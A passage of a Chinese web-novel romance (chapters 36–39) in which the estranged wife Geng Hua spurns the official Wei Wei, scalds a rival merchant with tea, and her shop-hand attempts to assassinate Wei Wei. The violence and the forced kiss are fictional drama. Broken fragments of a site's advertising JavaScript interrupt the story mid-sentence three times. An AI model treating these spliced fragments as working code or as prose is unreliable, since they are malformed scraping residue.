36. 036 如果耿婳能看清楚魏巍的表情,一定会大吃一惊。但她视力很差,隔着礼貌的物理距离,魏巍的那张脸实际就是个模糊的肉块。 她表现得无动于衷,甚至带着面具与他对话。 昨晚人多眼杂,她不愿相认无可厚非。魏巍本以为到了私下会有所缓解,谁知冷静下来的耿婳甚至连一个正眼都不愿给他。 “婳儿,你何必如此?”他慢慢靠近她,轻柔的声音带着哄劝的意味,“干嘛非和我置气呢。” 他刚要拂去她耳边一缕碎发,耿婳生硬地撇过头,一双水眸警惕地瞪他。 她这番抗拒的表现简直让魏巍心碎,他受了三年相思之苦,换来的却是爱人的冷言冷语。 难以言说的肺腑之情让他不能自已。魏巍一手扶住她的后脑,稳稳把人拥入怀里,头深埋进她的颈间,“以前是我不好,天天忙于案牍冷落了你。婳儿,你再给我一次机会好不好?”他慢慢拂着她的后背,好像在给不听话的幼兽顺毛。 耿婳无动于衷,眼底闪过惊异,而后又觉得可笑。她脑子又没被驴踢,怎么会轻易原谅伤害过她的人? “原来魏大人是来道歉的。”她回话轻佻,好像刚听到一个滑稽的笑话。 魏巍知道口说无凭,稍稍松开她,拿出王绅送的租赁凭证。 “我昨晚惩治了王绅,西街新店免了租金,你要是想做生意有我陪你,以后不用再怕任何人。” 耿婳不明白他为什么急着示好,但看他伏低做小痴情哄劝的样子,心里乐开了花。 之前她不想见他,是不想重新回忆起三年前那个卑微的自己。 而现在,这个曾让她陷入爱情、卑微到尘埃里的人俨然成了当初的自己。 因果循环,报应不爽。 耿婳饶有兴致地看着他,像在看戏班子里装疯卖傻的丑角。 “你来得正好,我也有事要劳烦你。”耿婳从怀里掏出刚刚房里写好的和离书。 她终于明白为何见到魏巍会有一丝恐惧——没有和离书,他们本质还是夫妻。她如果不从,他或许会一纸诉状告到官府,到时候让她吃不了兜着走。 “我帮大人写好了,劳烦签个字。” 白纸黑字,字字珠玑,这是要和他决裂的意味。 魏巍心头紧绷的那根弦倏地断了。他还没来得及问她当年为何不辞而别,她竟然要和他划清界限! 魏巍倒吸了一口气,“别闹了,婳儿。” 他眼底一热,极尽恳求地说:“你别吓我了,跟我回家好吗,啊?” 耿婳生硬回道:“魏巍,我原来确实和你做过夫妻,但那是三年前的事了。现在条归条,道归道,一别两宽,各自生欢。” “我对你的心思,你还看不出来吗?原来是我不对,我不知道珍惜,可那是以前。我以后不会冷落你,绝对不会……” 他说着就要搂她,耿婳啪一声打在他要作祟的手上。 “你少装模作样,这里不是洛阳城,我没空陪你做戏!”耿婳笑得讥诮,却渐渐红了眼圈。 她看着原来深爱过的人,曾经错付受过的伤痛裹挟着恨意上涌,恶狠狠道:“装什么装,黄鼠狼给鸡拜年!不知道的还以为你喜欢我呢!” 魏巍本想接她的话承认心意,却被她凶戾的表情惊得语塞。 原来她不是讨厌他,而是恨他。 “别哭。”魏巍刚想帮她擦干眼泪,可想到她不愿被触碰,只好收手递给她一条帕子。 耿婳接都没接,仰头把涌起的泪水倒逼回去,继而露出得意的笑:“我才不会为你哭。” 她看了眼魏巍湿润泛红的眼眶,努力嘲讽他:“自己都顾不上,还有脸劝别人?” 魏巍知道她激动过头,不会和她置气。只顺着她说:“好,我没脸。我不配劝你。” “假惺惺的给谁看,赶紧从我房子滚出去!”她气得跳脚,哑着嗓子喊,“要是敢把我们的关系公之于众,看我不宰了你!” 她双手攥拳,怒目圆睁,恼火的样子像个炸了毛的猫咪,魏巍不会与她生气。他反而庆幸,至少她还愿意在他面前展露真实自我。 “好,我答应你,我不说。我这就滚。”他转身想走,这样可以自然忽略那张刺眼的和离书。 他还没迈开步子,就传来上楼的动静。 “掌柜的!”紫殷冲上楼梯,刚才他在下面听到耿婳失去理智的声音。 玄海正拦着他,“不许上去!” 紫殷拉扯着玄海上了楼,他看了耿婳一眼,对方立刻转过身子。 “掌柜的,你哭过?” 耿婳答非所问:“魏大人请回吧,我家里人已经来了。” “什么人?”魏巍猛然问。 耿婳没回。他压下烦躁,耐心道:“你刚刚说他是你什么人?” “我是她——” 紫殷刚想答复,就被耿婳仰声打断:“他是我分忧解难、同舟共济之人。我这么说,你还不明白吗?” 是因为他,你才要与我和离? 他颅内一热,突然想问她这个问题。他站在原地还了一小会儿,理智告诉他,婳儿是在和他斗气。这话说出来就是为了刺激他,逼他签下和离书的。 “诶,掌柜的这是什么?”紫殷注意到耿婳手里纸张。 魏巍嗖一声抽过了耿婳手里的和离书,迅速揉成团攥在手里。 “耿掌柜,多有叨扰,魏某告辞。”魏巍努力让自己看上去平静,而后默默走下楼梯,一路思索。 即使他做过对不起耿婳的事,但也不至于让她如此记恨。 里面势必有误会。 要想理清她逃离洛阳的来龙去脉,就必须搞清楚他不在府上的那段空白期,耿婳身边都发生了什么。 他被阮若送出婳坊时,问:“你们掌柜的身边的陪嫁姑姑呢?” “什么陪嫁姑姑?我们掌柜的才没什么姑姑嬷嬷。” “没有?”魏巍愕然。记得那个上了些岁数的老妪是耿婳母亲的陪嫁,暗说应该对耿婳忠心耿耿才对。 他别了阮若,最后看了眼婳坊的招牌,注意力被墙面上贴着的招聘启示吸引。 楼上,紫殷红着耳根咕哝:“掌柜的,你说我是你……” “你什么你,还不下楼招呼客人。”耿婳没心思说话,径直又回了房里。 关上门,她靠墙仰面站着,起伏的胸脯慢慢平静下来。 她原本以为,魏巍带给她的负面影响已经揉碎在三年经商的忙碌生活里。实际上,当他再次出现时,席卷而来的还有对他刻入骨髓和血液中的不适。 三年的时光,让她不再恨他是不可能的。 这些被他留下的负面影响,必须要抽丝剥茧地剔除干净。 但至少,从今天开始,她不会再怕他了。 一想到这儿,耿婳拨云见日,心里舒坦多了。一盏热茶的功夫,她又恢复了风情万种老板娘的形象。歇了片刻下楼和阮若接待客人,直忙到晌午才抽出时间清点王刺史送来的赔礼。 王绅送的是上等的丝帛,耿婳让紫殷把布匹放到后院的库房里,想腾出这几个大箱子来装一些杂物。 箱子腾空后,耿婳注意到箱底的木屑,她拾起一小条仔细观察,又嗅了嗅。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “这不就是普通的木头碎屑嘛。”阮若道。 耿婳摇头,“这是檀木,而且是紫檀。” 紫檀木极为珍贵,被大奉朝视为国木,由官家垄断经营,严禁民间买卖。 她见过耿府库房的紫檀木,也在相府见过很多紫檀家具。 耿忠曾经走私紫檀,后来被魏巍大义灭亲,因此下狱。后来,她那个死爹被处死。继母和她儿子耿X下落如何,她就不清楚了。 耿婳没时间想这些旧事,现在最疑惑的是,大奉严禁买卖的紫檀木为何会出现在刺史府。 这时外面传来王刺史府送信的丫鬟,说王夫人午后想请耿掌柜同去白马寺上香。 春色盎然的季节,最适合出来赏花观柳。 耿婳在寺庙亭台上饮了口清茶,掏出魏巍给她的租金凭据,摊开递给对面贵妇人。 “妹妹这是何意?”王夫人气色红润,明知故问地装傻。 实际上她今天就为给王绅收拾残局而来,所以语气态度恭敬又谦卑。 魏巍刚上任时,她就让远在洛阳的娘家人查过他的底细。说是有一段短暂婚史,夫人已经去世。 一听说去世,当时王夫人也没留意这人的商户身份。今早她又把办这事的亲信叫来仔细打听,说那位夫人就姓耿。 她确信耿婳就是魏巍的前妻,只是还需要试探试探。 “昨晚王绅脑子被驴踢了才会出言不逊。要是我在,他绝不敢把你怎么样!”王夫人凑近抚着她的背,“还好魏司马识大体,把耿妹妹保护得好好的。” 她一边说,一边看到耿婳嘴角勾起微笑,眼神却阴沉得吓人。 “我用不着他保护。”耿婳的指尖点点租金凭证,“这个物件还给刺史大人。我命浅福薄,可消受不起。今天来,就是为了让王夫人出面,拟个公正的租金价位,我好交钱好好营生做买卖。” 耿婳把话引到正题上,她才不想再和魏巍有关联。接受他的施舍无意是一件难堪又丢人的事。 王夫人心里有了数,看来魏大人处于单相思状态。她只好顺着耿婳的意思谈租金。她把价格降了再降,同时也要防止伤害到耿婳的自尊心。 最后价格终于谈妥,耿婳拿到了新的凭证,并承诺及时将银两交到刺史府上。她不到万不得已不会动从魏巍母亲那里得到的银票。 三年经商她得了一笔殷实的积蓄,本来想多攒些钱买套像样的宅邸,但是惹人厌烦的魏巍也来了扬州,她就没必要过早考虑在扬州城安家了。 至少要等他滚回洛阳之后再安排安居的事。 旁边的王夫人还在絮絮叨叨:“今天一早我回府听说这事,骂了他一顿,亲自去库房挑了几箱上好的丝帛去找你赔礼。” 箱子是从刺史府的库房而来,那些可疑的紫檀木屑也就来自刺史府了。这点小心绪在耿婳的脑袋里一闪而过。 “王刺史要是有您一半和善,我们这些做商户的就知足了。”耿婳此时说,“怪不得王刺史能坐稳扬州城主的位置,多亏您这位贤内助。您二位可真是伉俪情深。” 王夫人老脸一红,而后随意道:“别看我们夫妻一场,他愿意给我说的公事也就那么多。他私底下见什么人,做什么事,我不知情的多的是了。” 他们确实是对表面夫妻。耿婳为此一点也不奇怪,但可疑的是王夫人粉面生春的脸。 王夫人撇头的功夫,脖子上若隐若现几个新鲜的“大草莓”,一看就是晚上的产物。虽然有被云母粉遮盖过的痕迹,但还是让眼尖的耿婳注意到了。 奇怪,既然她昨晚不在王绅身边,怎么还会留下这种令人遐想的印记? 37. 037 这些天,扬州城上层社会的大小官员没一个消停的。话题和心思全围绕着吉庆街风流女掌柜和大奉前丞相魏巍的灵云楼泼酒事件展开。 王夫人自从和耿婳白马寺见面后,就确定她是魏巍以前的夫人。至于为何对外宣称“去世”,这就匪夷所思了。但这也不是她和王绅关心的话题。他们目前想到的措施是撮合二人重归旧好。这也许对巴结魏巍继而提高政绩有奇效。 王绅嘴巴严实得很,自从上次灵云楼整蛊耿婳未遂后就老实了,还警告在场的各级官员不要拿灵云楼的见闻说事。 其他官员也知道魏巍对耿婳饶是在意。有不少想对魏巍试好的人干脆常带家眷去婳坊消费。他们不敢对外宣传魏巍耿婳之间的绯闻,嘴巴一个比一个严。 这确实一定程度上对婳坊的生意起到了照料作用。婳坊空前火爆,也让不少商家眼红嫉妒。最恼火的当属耿婳,因为过分热情的背后实则是对她的同情和对魏巍的讨好。 她才不是他们官场阿谀奉承的工具! 耿婳面对官僚子弟时服务态度极差,还时常抬高价钱震慑他们。 直到魏巍听说此事,委婉给了暗示,那些趋炎附势的官吏才消停。之后他寄了封信给耿婳,告诉她不要烦心,他给当时所有在场的官吏去了消息,保证不会让人再打扰她。他们之间的关系也永远都是秘密,不会让扬州城的人知情。 耿婳读完之后,当着紫殷和阮若的面儿把信纸撕了个粉碎。阮若一头雾水地问她为什么动这么大气,紫殷低头收拾地面上的碎屑。 另外一边,魏巍让玄海叫来前不久安置在府上的芊芊。她因为魏巍的救命之情一直对他感恩戴德,在府里生活得小心翼翼、老实巴交。 魏巍交给她两张纸,一张是帮他拟好的新的卖身契,另一张是他写好的锦囊。 “我帮你拟好了话术,就按照这个说辞去吉庆街一家叫婳坊的店里求职。为了取得耿掌柜的信任,你要把卖身契给她,请求在店里居住。”魏巍又提醒她不要暴露他的事。 “记住,我命你去那儿关照耿掌柜,看紧那个叫‘紫殷’的小厮。如果他敢有什么非分之举,速来报我!” 一想到这里,魏巍胸膛就闷气沉沉。那个割瞎牛二眼睛、长得十分阴鸷的店小二一看就不是什么好东西,婳儿怎么能说他是她同舟共济之人呢。 魏巍越想越气。 芊芊怯怯应声接下这个有点荒谬的卧底任务。她不敢多问,也不敢多想,只是在玄海的帮助下熟读熟背了纸条上的话术。 “耿掌柜,我是扬州城外、城外西河……东河村里的小丫头,家里父母早亡,阿婆把我拉扯大。她、她老人家病故后我典卖家当为她下葬。眼下无家可归,看您店里还在招人,自愿卖身为奴为您效劳。还请您行行好,行行好收留我这个可怜人……只求一口饭一张铺盖,甘愿不要工钱只想有个庇佑。” 芊芊背得滚瓜烂熟,但面对耿婳强势的架势却吓得磕磕绊绊,半晌才把话说清楚。 耿婳狐疑地上下打量她,最后拿到她颤抖着递来的卖身契才安心。 这上边白纸黑字还签字画押,确确实实是张契约。以后这人要是敢有别的猫腻和心眼,耿婳就拿这张凭证对簿公堂。 “既然想来婳坊做事,那我就丑话说在前头。每日卯时起不许赖床,不许出入我的闺房,打烊前不许离开店铺,每日你与阮若紫殷轮流打扫后院、轮流做饭,要是敢有半点惫懒店规伺候!”耿婳看着她问,“你可愿意?” 芊芊轻轻点头。 “那好,现在跟着阮若去熟悉环境,晚上和她睡一屋,有不懂的可以先去问她。既然愿意卖身为奴,那工钱就一分也甭想要。”她刻薄地说。 耿婳处理完芊芊的事,又去管西街新店的装潢。每天两头跑忙得不可开交,连王夫人再三邀请的清明踏春都顾不上回复。 四月初天气温和,没有魏巍的打搅,耿婳觉得比秋日还要舒爽。 或许是有魏巍这层保护伞的缘故,她四处打理生意都顺顺利利的。但每到夜里还是会梦到他对自己不缠不休。耿婳知道必须把和离书要到手,不然心里永远不会踏实。 神经大条的阮若倒是不甚在意,谈论起魏司马要么痴痴傻笑,要么嘲讽紫殷:“你吃错药啦,每次提到魏大人就咬牙切齿,难不成嫉妒人家?你也配呀!” “蠢货!我懒得跟你说!”紫殷愤愤不平。 最疑惑的人是玄海。这些天魏巍总让他掌灯前到婳坊和芊芊碰头,把交接的情报传达给他。 “芊芊说,今天耿掌柜一早开门迎客,晌午用完饭歇了半个时辰又去后院清点库存,申时去了趟西市新店,回来吃晚饭说清明要去赴王夫人的约,顺便采摘原料。” 玄海一五一十转达完,小心翼翼看了魏巍一眼,又说:“相爷,容小的讲几句不好听的,也许您认错人了。我看那个耿掌柜面容虽然和夫人九分像,内里却凶神恶煞小肚鸡肠。上回芊芊不小心打碎了一个瓷碗就挨了好几鞭子,现在胳膊上的疤还没好。要是夫人肯定不舍得惩罚下人。” 玄海说话跟连珠炮似的,这些话像是在心里憋了好久,不吐不快。 他对先夫人的印象一直很好,记得她是个会礼貌询问下人魏巍去向的娇滴滴姑娘,跟尖酸刻薄这类词根本不搭边。 魏巍沉着脸,不满地盯他看,那眼神好像在说“你个下人有什么资格评价我夫人?”。 他这种身份的人,越是一言不发越是让人害怕。 玄海瞄了一眼又迅速垂下眼,打了自己一巴掌后咕哝:“小的错了,不该随口胡诌,小的再也不敢了。” 玄海对如今的耿婳印象差,魏巍能理解。若不是亲眼所见,他很难接受耿婳三年来改头换面般的成长转变。 魏巍沉声:“打听她店里小厮身份,再给洛阳府上人捎信,调查清夫人身边侍女的消息。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >记得在相府时她一直有贴身丫鬟,还有后来从娘家求来的老姑姑。可耿婳在扬州城孤身一人,店里常陪在身边的也是生面孔。 她这一诈死,如何瞒得过身边人? 简直蹊跷。 魏巍命玄海查清来龙去脉。 玄海刚出门,又来通传:“相爷,刺史府上来人说清明请您去城外踏青,并邀一众官员流觞曲水。” 魏巍点头,“转告王刺史,如约前往。” 四月四,城外青林山中温润微雨,春风习习送来清鲜空气。这个时节最适宜出行踏青。 王刺史在山中有一套别院。这次排场没有上回大,但吸取了青云楼的教训,主打一个清雅别致的环境渲染。 山谷溪流淳淳,两侧早备好了座垫矮几、美酒佳肴。侍立左右眼的书童端着纸墨笔砚,等官员们附庸风雅时用得上。 这次为了突出与民同乐,王绅还请了上回在青云楼充当背景的众商户。明知道这是他讨好魏巍的面子工程,耿婳却欣然接受邀请。 自从新品上市,婳坊流水翻了一番,生意红火得不像话。这次上山,她得赶紧采摘制作桃花粉需要的原料益母草。 “我把益母草临摹了三份,到时候兵分两路,你们带着工具按照图画上的模样去林间采摘。记得尽量挑新鲜的,给我仔细一点,要是采错了定不轻饶!” 她说着眼睛对准了芊芊。这个纤弱内向的小姑娘颤了颤身子。 魏巍提前起床半个时辰,他不确定会不会遇见耿婳,所以要早起收拾形象。 魏巍打开小柜,里面平放着一新一旧两盒云母粉。 三年来一直带在身边的那盒早就过期了,他一直舍不得扔,留着当念想。另一盒是初来扬州时在婳坊买下的。 他打开这盒云母粉,蘸了粉末,手法生疏地涂在眼下。他涂完照着铜镜看了许久又觉得不妥,拿手指擦掉了一部分,这样看上去自然多了。 玄海拿来几件衣袍,魏巍挑选再三最后选了一套素色纹竹的便服。 “不对,婳儿喜欢鲜艳的颜色。”说完,他又穿上了绯袍。 革带上的玉佩选了个稍稍低调点的,再搭上耿婳之前送他的纹竹香囊更合适些。他犹豫了一会儿,穿上了那双熟悉的旧皂靴,又命玄海带了一双新革靴。 道路一旦泥泞,他就换鞋。 他未雨绸缪了大半天,等真到青林山时,才发现商户和官员是分开行动的。 他们在山谷流觞曲水,人家在山顶别馆赏春踏青。 众官员稍带歉意的敬酒一杯接一杯,魏巍在力所能及地情况下尽量少喝。王绅也不知借了几个胆子,一个劲儿地劝酒。 魏巍不一会儿喝得醉醺醺,但矛盾复杂的心因为见不到耿婳而踏实下来。来之前,他期待与耿婳再次见面,却又害怕自己的出现让她情绪再次爆发。 另外一个不愿意见她的缘由是,他害怕耿婳给他要和离书。 38. 038 溪边文人士大夫吟诗作对,山顶王夫人领着商户观园赏景。 紫殷阮若和芊芊已经去山林里采摘益母草了。耿婳视力不好,没能和他们一起去。她独自坐在石桌旁,百无聊赖地轻晃茶盅,整个人都悻悻的。 “大好的日子,什么人惹了我们大美女?”王夫人含笑朝她走来。 “可没人敢惹我。”耿婳抬起眼皮说,“就可惜眼神不好使,没法去山里陪他们找益母草” “这东西在市集也买得到,何苦非得自个儿采?” “市集买的哪有自己采的正宗还便宜。” “想买好货,选对了门路就行。”王夫人说得隐晦神秘,“有时间不如去逛逛晓市。” 耿婳知道有这么个地界,却从没去过。她最不喜欢熬夜和赶早。瞧王夫人眼底流光,就知道没少去过。她只是有点疑惑,什么东西还要刺史夫人亲自去买啊。 王夫人随口问:“怎么不过去和大家伙谈天解闷?” “我才懒得去。”耿婳不去也正常,她经营着吉庆街生意最好的胭脂铺,最近因为魏巍的关系,很多官员都很乐意照顾生意。 虽然赚了不少,但也免不得遭人嫉妒。坊间已经有人说她的闲话了。说实话,她真怀疑过芊芊是某个商户派来探听商品配方的间谍。 王夫人听她这么一说,纳过闷来:“要是有难处随时和我说,我看谁敢背后嚼人舌根!” 耿婳笑着摇摇头:“心术不正的人也就只会卖弄唇舌。一群色厉内荏的草包有什么可怕的?他们越是诋毁,我就越不着急。不然岂不是正中他们的下怀?” 王夫人见她云淡风轻,心里也踏实下来。耿婳从来都不是那种柔柔弱弱受人欺负的软柿子。 她又聊了两句,看到柳掌柜朝她挤眉弄眼,撇下耿婳就去找他了。 两人躲在树下眉来眼去,耿婳喝着茶看好戏。这时刘掌柜扭着腰走过来,她身后还跟着一群小商户,来势汹汹。 刘妍是吉庆街最老的一家胭脂店的女掌柜,平时鲜少和耿婳交谈。刚到山中别馆时没见她有多热情,这时却满脸堆笑坐在了耿婳对面。 事出反常必有妖。 耿婳冷淡地朝刘妍点了下头,就当是打过招呼了。 “恭喜耿妹妹。” “嗯?”耿婳皮笑肉不笑问:“喜从何来啊?” “姐姐来特意给你道喜,现在整个扬州城的胭脂生意有哪家做得比婳坊大啊。”刘掌柜笑嘻嘻说,“其实我们也是特意来取经的。” “说来也奇怪,好像从妹妹独自雅间会客起,店里生意就更上一层楼了。这不今儿有和官员们相处的机会,我们也来了。” 她的话里意有所指。 “你几个意思?”耿婳说。 “嗐,这不是看妹妹店里老有官老爷光顾,不知道的还以为青云楼那晚有什么呢?”刘妍说话慢吞吞的,引人遐想。 耿婳简直想笑。 刘妍顺势道:“妹妹可别生气,我们刚听到有人说闲话。这才过来求证,好替你洗清污名。” “我看,散播谣言的人就是你吧。”耿婳冷冷道,她一双锐利的眼瞪着刘妍,活像个盯紧猎物的雌豹。 “妹妹有什么证据说是我散播的?我还想帮你证明清白,你倒好,直接反咬我一口,你知不知道——” “你知不知道没事找事,胡乱给扬州官场泼脏水是什么下场?” 刘掌柜还没说完,就听到有人打断她。 众人闻声,退到两侧,让出路来。耿婳闻声都不用扭头看,就知道是谁。 况且她现在的视力,就算看也看不清。 一众商户围观着来人。凭着衣着和面相,就知道气场不一般,想必是个官员。 但是细看,却觉得此人甚是古怪。面容姣好俊朗,但眼下的皮肤有些斑驳,好像擦了粉没抹匀似的。双颊微微泛红,好像喝了很多酒。 身着绯红官袍显得八尺之躯器宇轩昂,可惜腰间别着一个不伦不类的香囊,脚底踩着一双布料发灰的旧靴。 “欸,魏司马!”王夫人疾步过来打圆场,欢快道,“什么风把您吹来了?快请坐!” 魏巍正眼没看王夫人,他旁若无人地坐到石桌旁。 刘掌柜立刻站起身,低着头不敢吱声,活像个受惊吓的小鹌鹑。耿婳坐得四平八稳,丝毫没有起身的迹象。周围商户看得大眼瞪小眼。 “民女、民女参见大人……”刘妍半天憋出句话,而后行了个蹩脚的礼。 魏巍冷冷道:“本官问你话,你为何不答。” “抬起头来。”他又说。 刘妍听话地抬头,脸颊像煮烂了的猪肝。和魏巍那双刚正的凤眸对视一瞬,她立刻无地自容地撇开眼。 耿婳翘起二郎腿,托腮看戏。 “回大人,小人口不择言冲撞了官人,还望大人宽恕。” “你冲撞的岂是本官?”魏巍睨了一眼耿婳,又看向她。 刘妍读懂了他的眼神,扑通跪倒在耿婳腿边:“小人知错了,小人口不择言冲撞了耿掌柜,还望耿掌柜大人不记小人过。” “刘妍,你知道我可是铢锱必较的。”耿婳不客气地笑了。 刘妍求助地看了眼王夫人,对方完全没有要替她求情的意思。再看那些和她要好的商户姐妹,一个个老实巴交跟撅了嘴儿的葫芦一样。 刘妍深吸一口气,咬咬牙:“但凭惩治。” “好!这可是你说的。”耿婳拿起桌上茶壶摇了摇,打开瓷盖,热气氤氲而出。 “真好,还是热乎的。” 她笑嘻嘻说完,盖上茶壶盖子,对准刘掌柜的脑袋兜头灌下热茶。 热流顺着她的发髻流到脸颊上、脖颈上,所经之处皮肤瞬间泛红。刘妍忍着烫伤的剧痛,微微颤抖着身子。 这还没完,耿婳把空茶壶放在了刘妍头顶:“太阳下山前我要取走茶壶。劳烦刘掌柜好好保管,可不许打碎了。” 周围人看得心惊胆战,王夫人惊掉下巴,虽然见识过耿婳惩治人,却没想能狠毒到这般程度。 魏巍眼底微愕,又迅速调整过来。只要是耿婳的决定,肯定有她的道理。他要慢慢适应现在的她。 耿婳旁若无人地做完这事,起身去了花厅。魏巍马上跟过去。 到了花厅,耿婳忽然扭头:“你跟着我干嘛?” “我想跟着你。”魏巍小指勾住她的披帛。 耿婳没好气地白了他一眼。 过了一会儿,她突然尖声问:“是不是觉得我歹毒?” “不会不会。”魏巍赶忙 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 摇头。 “少在我面前逞英雄,刚刚没有你,我自己也能应对。”耿婳盛气凌人地说,“柿子只挑软的捏,人找老实的欺负。别人辱我一分,我就要十分百分地回击,让他们知道我的厉害!看以后还敢不敢招惹我!” “我没有逞英雄,也没人敢欺负你。”魏巍轻轻说。见她没抗拒,他双手握紧她长长的披帛。 “婳儿,我就是本能地想保护你。” “谁要你的保护!”耿婳听见这话立刻恼了。 她一把扯过披帛,甩到地上顺势踩了两脚。就好像这个披帛被他污染了一样。 “你这是做什么。” 魏巍酒后微醺,也有点不高兴。刚刚他替她解围,半个谢字没有,反倒被嫌弃,换做谁都会不忿。 耿婳正眼都不想瞧他:“明知故问。” 魏巍关上花厅的门,不由分说搂她到怀里,“你为什么总是不肯对我和颜悦色?” “你原来明明喜欢我!”他粗声道。 耿婳气得两眼通红,她缓了一会儿坦然说:“没错,魏巍。我原来确实喜欢你,喜欢就是喜欢,所以我也敢认!但那是三年前的事了,时间能改变一切,我现在厌你恨你还来不及,你居然有脸来我面前晃悠。恬不知耻!” 她漂亮的五官也跟着愤怒扭曲起来,句句话狠毒如利刃,一下下刺在他心口。 “你恨我,你厌我?我不信!”恼火和酒意直冲炉顶,他赌气似的亲吻她的绛唇。 刚品尝到柔软的芳泽,旋即却闻到血腥味。耿婳使劲力气推开他。 魏巍舔着嘴唇的伤口,难以置信这是她咬破的。 他不解地望着耿婳,自言自语般问出了来扬州后一直想问的话:“你为什么这么恨我?” “是因为你腹中胎儿?那孩子没就没了,还能再生,你何必——” “闭嘴!”耿婳抄起几上茶盅,直接砸向他。 魏巍来不及躲闪,被砸中了额头一角。随着瓷器落地的碎声,他的血也顺着额头流过脸庞。 魏巍没有惨叫,也没有做出狰狞痛苦的表情,只是默默看着她。这一次,他终于明白耿婳对他的恨意有多浓。 “混账!你竟然还有脸提!”耿婳哭出了声,表情痛苦地扭曲着,她从没见过如此漠视生命的人! 害死自己的亲生骨肉,居然还能云淡风轻地提及。真是厚颜无耻! “你别——” “滚!”耿婳大吼,抱头蹲在地上痛哭。 被迫小产的回忆历历在目。她收到魏巍命令堕胎的信件,为的是保住自己的仕途。她险些丢了性命,九死一生产下成形的死胎,猪狗不如地被捆在床上,举目无亲…… 她再也不想见到这个无情无义的人! “还不快滚!!”耿婳尖叫。 魏巍的大脑嗡嗡作乱,如果单纯因爱生恨是不可能到这么深的程度。 他还没来得及滚,花厅的门从外面打开。 “掌柜的!”紫殷背着一箩筐益母草,冲到她跟前。 “掌柜的你没事吧!”接着进来的阮若。而后芊芊也跟进来,经过魏巍的时候朝他点了点头。 魏巍颔首离开。 耿婳忙别过头,止住眼泪。这么丢面的事,她才不要让无关的人看见。 39. 039 魏巍让王夫人驱散众商户后,阮若才扶耿婳出来。 她脸上泪痕消失,容光焕发地朝王夫人告别,看都没看魏巍一眼就离开了,好像刚刚在花厅里尖叫的人根本不是她。 王夫人一头雾水,但知道这事搞砸了。原本王绅想灌醉魏巍,让他借着酒劲和耿婳吐露真言和好如初。结果事态演变成这样。 “放心,我挨个儿告诫商户,不让他们乱说。”还没等魏巍发话,王夫人就给他吃了颗定心丸。 王夫人看看离去的耿婳,又给他使了个眼色。魏巍只当没看见,站在山顶栏杆处俯瞰那抹远去的背影。 他不敢再去打扰她,只能默默目送她远去。山顶凉爽的风让他酒意消散了不少。早知道会惹她不悦,他就不该来别馆醒酒。 回府路上,魏巍仍悻悻的。马车停下,玄海掀帘唤他,神色格外警觉…… 当晚大雨滂沱,夜风吹得窗棂呼呼作响,院外的柳树枝张牙舞爪地倾向一旁,豆大的雨滴敲击着地面,留下泥泞的水洼。原本宁静的院落被肆虐得不像样子。 窗前一盏灯火闪烁着微光,旁边人影在案牍旁劳累。过了一个时辰,风停雨收。人影仍在桌案前忙碌。 嗖的一声,一道银光划过窗纸,熄灭了微弱的烛火。飞刀略过烛台死死钉在书架上,刀柄末端仍簌簌颤抖着。 突如其来的声响后,室内陷入无尽的黑暗中。轻盈急促的脚步悄然靠近,窗外月光的照射下,黑衣人提起银刃扎向目标的胸口。 温暖火红的液体并未迸发,他的刀刃接触到坚硬的木板,转而被一股蛮力推开。 紫殷借着月色眯眼,这人不是魏巍! 玄海大叫:“来人!” 埋伏在外的侍卫一齐冲出,把不速之客团团围住。黑衣蒙面的紫殷面对魏巍“守株待兔”的庞大阵仗丝毫不惧,反而兴奋起来。 他身形灵巧,巧妙地和众侍卫周旋,手上的短刀已经害好几人流了血,可偏偏看不见想要攻击的目标。进来的侍卫越来越多,乌泱泱将紫殷围了个水泄不通。 寡不敌众,他得想办法安全撤退。 擒贼先擒王! 紫殷一个身轻如燕的空翻跳到了玄海面前,锋利的刀刃瞬间对准他的脖子。 “都不许动!”紫殷威胁说,“你们头儿呢?叫他出来受死!” 众人面面相觑,不知所措。 “你要是行凶杀人,耿掌柜还愿意收留你?”魏巍提着灯笼走进书房。 紫殷愣怔一刻,产生顾虑,忽而想到这是魏巍的攻心之计,又努力让眼神显得凶戾。 他恶狠狠道:“是我家掌柜的派我杀你的!” 魏巍平静说:“她不是那种人。” 以耿婳的性格不会派人夜里偷袭,她会明着在大街上直接捅他。 “你大可以往我身上捅几刀,但要想清楚后果。刺杀朝廷命官是诛九族的罪。” “我无亲无故,我才不怕!”紫殷胁迫着玄海进退两难。周围侍卫提刀僵持着,唯有魏巍泰然自若,仿佛只是在会客。 “也对。从幽州城出逃的流寇能有什么牵挂。杀了我,你死事小,可你家掌柜的会不会受官府的审讯盘问,这就不好说了。”他忽而问,“难道你想让她代你受过?” 紫殷像被什么东西噎住了喉咙,一言不发幻想着他入狱后耿婳的处境,握着刀柄的手因为内心的挣扎和犹豫变得颤抖。 魏巍顺势抽走他手上的短刀,随手仍在地上。丢了武器的紫殷缓过神来,已经被玄海和众侍卫牵制住了。 魏巍打开灯笼罩子,取出蜡烛将桌案上的烛台重新点亮。 室内恢复光明。 紫殷被侍卫反剪着双手跪在地上,黑衣溅到了血迹,呈现出不太正常的玄色。 “你在给婳儿添乱,知不知道。”魏巍抽他蒙面的黑布,“还想刺杀本官?天真。” 紫殷啐道:“我看是你给我家掌柜的添乱!她回了家就关屋里摔东西砸墙!上回见了你整宿都睡不着觉!你为什么总让她心烦意乱?!” “真有此事?”魏巍问。 紫殷被他疑惑的模样气得五内俱焚。他吼道:“你这狗官休要沾染我家掌柜!身为前夫一点儿自知之明都没有!看不出来掌柜的厌恶你,还一个劲儿往上凑!你想把她逼疯不成?!” 魏巍俯身眯眼问:“你如何知晓我和她的事。” 紫殷啐了他一口吐沫星子,明显不想说。 魏巍捡起地上短刀,以刀柄抬起他的下巴,“说。” 他咬着牙不置一词。魏巍转换刀身,将刀刃对准他脖颈上方的嫩肉,锋利的刀刃上瞬间渗出一层浅浅的血迹。 “还不说?”魏巍说,“婳儿隐瞒婚事就是不想让你这种外人知道她隐私。居然还敢私自调查,你知道触她逆鳞的后果么?” 耿婳现在什么脾气,紫殷比谁都清楚。想到这儿,他心虚地垂下眼。 “而且,我不是她前夫。”魏巍又补了一句。 紫殷不服气地嘟囔着。 